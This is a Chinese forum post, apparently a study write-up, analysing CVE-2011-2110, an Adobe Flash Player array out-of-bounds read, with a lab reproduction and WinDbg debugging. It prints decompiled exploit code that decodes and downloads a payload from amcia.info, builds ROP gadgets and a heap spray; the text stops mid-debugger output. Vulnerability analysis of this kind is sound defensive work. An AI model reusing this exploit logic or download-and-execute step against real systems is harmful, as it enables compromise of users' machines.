首页
论坛
课程
招聘
[原创]CVE-2011-2110 AdobeFlashPlayer数组越界访问漏洞分析
2021-8-26 10:36 6122

[原创]CVE-2011-2110 AdobeFlashPlayer数组越界访问漏洞分析

2021-8-26 10:36
6122

1. 前言

这次看的漏洞是CVE-2011-2110,Adobe Flash中的数组越界访问漏洞。虽然越界访问与溢出漏洞都发生了“越界”,但是不管是栈溢出还是堆溢出,最终都能够做到越界写的行为,而数组越界访问,只能做到泄露部分内存数据,和溢出漏洞相比威力小了很多,漏洞利用的方法也更难一些。

2. 漏洞利用swf文件的初步分析

书中提供的漏洞利用文件是一个html文件,漏洞本身存在于Adobe FlashPlay中,这里通过在html中嵌入swf文件的方式,实现恶意文件的传播,真正进行漏洞利用的是嵌入的swf文件。

1
<param name="movie" value="main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656" />

所以先来分析一下这个swf文件,可以使用JPEXS Free Flash Decompiler工具对swf文件进行反编译,得到的代码并不长,只有600+。

 

代码的开头就在对参数进行处理,可以注意到在嵌入swf文件的时候,传入了一个info参数,这里处理的就是这个参数:

1
2
3
4
5
6
7
8
9
10
var param:Object = root.loaderInfo.parameters;
var t_url:ByteArray = this.hexToBin(param["info"]);
i = 0;
i = 0;
while(i < t_url.length)
{
   t_url[i] ^= 122;
   i++;
}
t_url.uncompress();

使用CyberChef按照代码的处理方法对info参数进行处理,可以得到最终结果:http://www.amcia.info/down/cd.txt

 

图片描述

 

之后代码对环境进行了判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var error_arr:ByteArray = new ByteArray();
error_arr.writeByte(2053208673);
error_arr.writeObject(error_arr);
var browser:String = ExternalInterface.call("eval","navigator.userAgent");
if(!(browser.toLowerCase().indexOf("msie") > 0 || browser.toLowerCase().indexOf("firefox") > 0))
{
   error_arr.uncompress();
}
if(browser.toLowerCase().indexOf("chrome") > 0)
{
   error_arr.uncompress();
}
if(Capabilities.isDebugger || Capabilities.supports64BitProcesses || Capabilities.isEmbeddedInAcrobat)
{
   error_arr.uncompress();
}

可以看到这个代码针对的是IE和Firefox浏览器,其他浏览器都会报错,最后还检查了是否为调试版本、处理器是否为64位,以及是否内嵌在Acrobat PDF中,任意一种情况符合都会报错。

 

最后代码使用一开始从info参数解码出来的字符串,进行了URL请求:

1
2
3
4
5
var url_str:String = String(t_url);
loader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onLoadComplete);
loader.load(new URLRequest(t_url.toString()));

可见这个代码会联网下载其他文件,同时在下载完成后,执行onLoadComplete函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
onLoadComplete = function(param1:Event):void
{
   content = loader.data;
   i = 0;
   while(i < content.length)
   {
      content[i] ^= 122;
      ++i;
   }
   content.uncompress();
   content_len = content.length;
   var _loc2_:ByteArray = new ByteArray();
   code = _loc2_;
   _loc2_.position = 1024 * 1024;
   _loc2_.writeInt(2053274210);
   _loc2_.writeInt(2053339747);
   _loc2_.writeInt(2053405283);
   _loc2_.writeObject(_loc2_);
   test();
   trace(_loc2_.length);
};

该函数会对下载的文件进行解密,解密方法和info参数一样。

 

之后创建了一个ByteArray _loc2_,目前还不知道这个变量有什么用,最后调用了test()函数。

 

test函数占据了这个文件的大部分篇幅,漏洞利用的内容应该也在这个函数中,

3. 测试漏洞利用文件执行情况

3.1 环境搭建

Flash版本:10.3.181.23 (下载地址:https://archive.org/details/flashplayerarchive

 

漏洞利用主机:

 

操作系统:Win7 32位 SP1简体中文专业版

 

IE:8.0.7601.17514

 

服务器主机:

 

操作系统任意

 

phpstudy:8.1.1.3

3.1.1 模拟服务器主机

IP地址:192.168.6.198

 

由于amcia.info已经无法访问,需要自己搭建一个服务器模仿该网站。

 

使用phpstudy搭建服务器环境,打开Apache服务,在WWW根目录下放置以下文件,文件书籍配套资料有提供:

1
2
3
4
5
down\
    cd.txt
cve-2011-2110.html
main.swf
crossdomain.xml

其中的crossdomain.xml是自己创建的,内容如下:

1
2
3
4
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

有了这个文件就允许任意域名跨域访问资源了。

3.1.2 漏洞利用主机

IP地址:192.168.6.40

 

修改hosts文件,添加记录:

1
192.168.6.198  www.amcia.info

使用Fiddler抓包查看网络连接情况,使用Process Explorer监控进程执行情况。

 

之后打开IE,访问http://www.amcia.info/cve-2011-2110.html,可以看到Fiddler中:

 

图片描述

 

以及Porcess Explorer中:

 

图片描述

 

由于我之前设置了windbg作为默认调试器,因此,此时windbg已经自动弹出来了:

1
2
3
4
5
6
7
(e04.810): Invalid lock sequence - code c000001e (!!! second chance !!!)
eax=00000000 ebx=7ffd4000 ecx=00000000 edx=004033d9 esi=00000000 edi=00000000
eip=00403425 esp=0012ff5c ebp=0012ff88 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010293
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\test\AppData\Local\Temp\Low\scvhost.exe
scvhost+0x3425:
00403425 f04b            lock dec ebx

在此也可以看出scvhost.exe的路径在临时文件夹中。

 

注:这里用于实验的main.swf并不是特别稳定,因此需要选择合适的Flash版本才能执行到scvhost.exe出现,除此之外,windows要选择32位的,IE版本也不能太高,我也是实验了几次才最终得到了这个结果。

 

根据之前对代码简单分析,这里出现异常的scvhost.exe应该就是cd.txt解码之后的结果,main.swf利用了Adobe Flash中存在的漏洞,实现了恶意程序的执行。所以现在的问题应该是main.swf是怎样利用了这个漏洞,而不是最终执行起来的恶意程序为什么出现了异常。

 

书中提供了针对swf文件,在漏洞利用早期触发异常,从而定位漏洞位置的方法。

4. 触发异常,定位漏洞位置

对于用于漏洞利用的swf文件,可以直接修改反编译得到的脚本代码,再使用工具Flash Builder重新进行编译,生成新的swf文件。但是应该怎么修改呢?需要分析一下反编译得到的代码:

 

漏洞利用的主要代码都集中在test函数中,这个函数代码开头是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function test(... rest) : void
{
    var _loc8_:int = 0;
    var _loc2_:Number = new Number(parseFloat(String(rest[0x4000000E])));
    var _loc3_:ByteArray = new ByteArray();
    _loc3_.position = 0;
    _loc3_.writeDouble(_loc2_);
    var _loc4_:uint = _loc3_[0] * 0x1000000 + _loc3_[1] * 0x10000 + _loc3_[2] * 0x100 + _loc3_[3];
    this.baseaddr = _loc4_;
    this.code.position = 0;
    this.code.endian = Endian.LITTLE_ENDIAN;
    this.code.writeInt(this.pobj - 1 + 16 + 409600);
    this.code.endian = Endian.BIG_ENDIAN;
    this.code.writeUnsignedInt(0x41414141);
    this.code.writeUnsignedInt(0x41414141);
    this.code.writeUnsignedInt(0x41414141);
    _loc8_ = 0;
    while(_loc8_ < 102400)
    {
       this.code.writeUnsignedInt(0x41414141);
       _loc8_++;
    }
...

一开始的_loc2_rest参数数组的0x4000000E偏移处读取了一个数值,这里肯定是有问题的,正常来说不可能是这么大的偏移。所以漏洞就出现在这里,它允许对rest参数数组进行越界的读取。但是这个越界读取对应到Adobe Flash软件中,又是什么情况呢?

 

继续往下看,读取的这个数经过处理之后变成了this.baseaddr。也就是说,由于漏洞的存在,我们可以通过越界读取获取内存中的保存的数据,并在之后使用。

 

test函数后面利用这个baseaddr,通过进一步计算,得到了更多的后续使用的数值:

1
2
3
4
5
6
7
8
9
10
11
this.xchg_eax_esp_ret = this.baseaddr - 0x3F48E7;
this.xchg_eax_esi_ret = this.baseaddr - 0x2FF589;
this.pop_eax_ret = this.baseaddr - 0x405D48;
this.VirtualAlloc = this.baseaddr + 0xA6626;
this.jmp_eax = this.baseaddr - 0x3FF11F;
this.pop_ecx = this.baseaddr - 0x405DA0;
this.mov_eax_ecx = this.baseaddr - 0x3B90CC;
this.inc_eax_ret = this.baseaddr - 0x405D4C;
this.dec_eax_ret = this.baseaddr - 0x3BBD96;
this.to_eax = this.baseaddr - 0x3ADC67;
this.virtualprotect = this.baseaddr + 0xA65F2;

不同的Flash版本计算的数值不同,这也是为什么一开始环境搭建的时候有些Flash版本并没有成功进行漏洞利用,因为这里的代码并没有考虑所有的情况,对环境依赖严重。

 

之后开始构建shellcode,后续还存在两次利用数组越界读取获取信息的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var _loc5_:Number = new Number(parseFloat(String(rest[0x3FFFFF96])));
var _loc6_:ByteArray;
(_loc6_ = new ByteArray()).writeDouble(_loc5_);
var _loc7_:uint = _loc6_[0] * 0x1000000 + _loc6_[1] * 0x10000 + _loc6_[2] * 0x100 + _loc6_[3];
this.pobj = _loc7_;
_loc8_ = 0;
this.pobj += 56;
_loc8_ = 0;
while(_loc8_ < 100)
{
   this.code.writeInt(this.pobj);
   _loc8_++;
}
var _loc9_:Number = new Number(parseFloat(String(rest[0x3FFFFFBA])));
_loc3_.position = 0;
_loc3_.writeDouble(_loc9_);
_loc4_ = _loc3_[0] * 0x1000000 + _loc3_[1] * 0x10000 + _loc3_[2] * 0x100 + _loc3_[3];
this.pobj = _loc4_ + 2;
ExternalInterface.call("",this.pobj.toString(16));
_loc8_ = 0;
while(_loc8_ < 100)
{
   this.code.writeInt(this.pobj);
   _loc8_++;
}

所以现在关键是要确定rest参数越界读取是发生在哪里,读取的数值又是什么。

 

可以修改函数一开始越界读取的索引值,原本是

1
var _loc2_:Number = new Number(parseFloat(String(rest[0x4000000E])));

按照书中所说修改成0x41414141,重新进行测试,windbg断在了这里:

1
2
3
4
5
6
7
(cb8.7dc): Access violation - code c0000005 (!!! second chance !!!)
eax=41414141 ebx=0594a040 ecx=0256d07c edx=0256d07c esi=0581a0d0 edi=0581a0d0
eip=68f724b5 esp=0256cef4 ebp=0256d020 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\Macromed\Flash\Flash10s.ocx -
Flash10s!DllUnregisterServer+0x274e3d:
68f724b5 8b0481          mov     eax,dword ptr [ecx+eax*4] ds:0023:075bd580=????????

注意到eax寄存器的值就是0x41414141,程序尝试从ecx+eax*4的位置读取数值,这里很好理解,ecx保存的是rest参数基地址,eax是偏移,最后计算出具体位置。

5. 漏洞利用过程调试

所以现在可以确定漏洞位置位于Flash10s!DllUnregisterServer+0x274e3d,接下来还是用之前正确的main.swf,用windbg附加到IE上,然后在漏洞位置设置断点,再打开目标网址,windbg断在断点处:

1
2
3
4
5
6
7
8
0:011> bu Flash10s!DllUnregisterServer+0x274e3d
0:011> g
Breakpoint 0 hit
eax=4000000e ebx=0598d040 ecx=0276cfec edx=0276cfec esi=058fa0d0 edi=058fa0d0
eip=674224b5 esp=0276ce74 ebp=0276cf9